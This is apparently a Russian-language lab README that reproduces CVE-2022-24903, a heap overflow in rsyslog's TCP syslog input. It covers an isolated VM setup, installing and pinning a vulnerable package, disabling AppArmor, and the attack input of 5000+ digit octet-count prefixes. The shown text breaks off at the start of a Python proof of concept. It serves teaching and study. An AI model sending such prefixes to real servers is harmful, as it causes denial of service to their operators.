andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-labCVE-2022-24903 Переполнение буфера в куче
Автор: Andrew Beshay Mousa
Практическая лабораторная работа, демонстрирующая уязвимость переполнения буфера в куче в rsyslog.
Практическая среда для воспроизведения и изучения уязвимости переполнения буфера в куче в rsyslog (CVE-2022-24903) через кадрирование с подсчётом октетов при приёме TCP syslog.
CVE-2022-24903 — это уязвимость переполнения буфера в куче в модуле TCP-приёма syslog (imtcp) в rsyslog при использовании кадрирования с подсчётом октетов (RFC 5425).
Атакующий может отправить специально сформированное TCP-сообщение syslog с чрезмерно длинным префиксом подсчёта октетов, что заставит rsyslog записывать данные за пределами выделенного в куче буфера, что приведёт к отказу в обслуживании (DoS) или потенциальному повреждению памяти.
| Атрибут | Значение |
|---|---|
| Идентификатор CVE | CVE-2022-24903 |
| Затронутые версии | rsyslog < 8.2204.1 |
| Вектор | Сеть |
| Порт | 514/TCP |
| Модуль | imtcp (TCP-вход) |
| Воздействие | DoS / повреждение кучи |
| Вероятность RCE? | Нет (оценка вендора) |
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
| ВМ | ОС | Роль | IP | ОЗУ | ЦП |
|---|---|---|---|---|---|
| Целевая | Ubuntu 22.04 | Уязвимый сервер rsyslog | 192.168.56.20 | 1 ГБ | 1 |
| Атакующая | Kali Linux | Отправитель эксплойта | 192.168.56.10 | 2 ГБ | 1 |
Примечание: В качестве целевой машины можно использовать любую версию Ubuntu (20.04, 22.04, 24.04). Главное — вручную установить уязвимый пакет rsyslog 8.2001.0
.deb.
В TCP syslog (RFC 5425) сообщениям предшествует префикс с их длиной в байтах:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
В уязвимых версиях rsyslog парсер подсчёта октетов:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
Результат: Отправка 9999... (5000+ цифр) приводит к переполнению буфера в куче и повреждению соседней памяти.
0-9)В вашем гипервизоре создайте сеть Host-Only:
192.168.56.0/24Подключите обе виртуальные машины к этой сети.
sudo nano /etc/netplan/00-installer-config.yaml
Вставьте следующее:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
Примените настройки:
sudo netplan apply
Проверьте:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
Если вы получили ошибку блокировки dpkg:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
Проверьте версию:
rsyslogd -v | head -2
Ожидаемый вывод:
rsyslogd 8.2001.0
AppArmor может препятствовать корректной работе rsyslog со старым пакетом:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
Очистите файл и вставьте следующее:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
Проверьте, что порт прослушивается:
sudo ss -tlnp | grep 514
Ожидаемый результат:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
Вставьте следующее:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
Или, если вы используете Netplan:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
Вставьте следующее:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514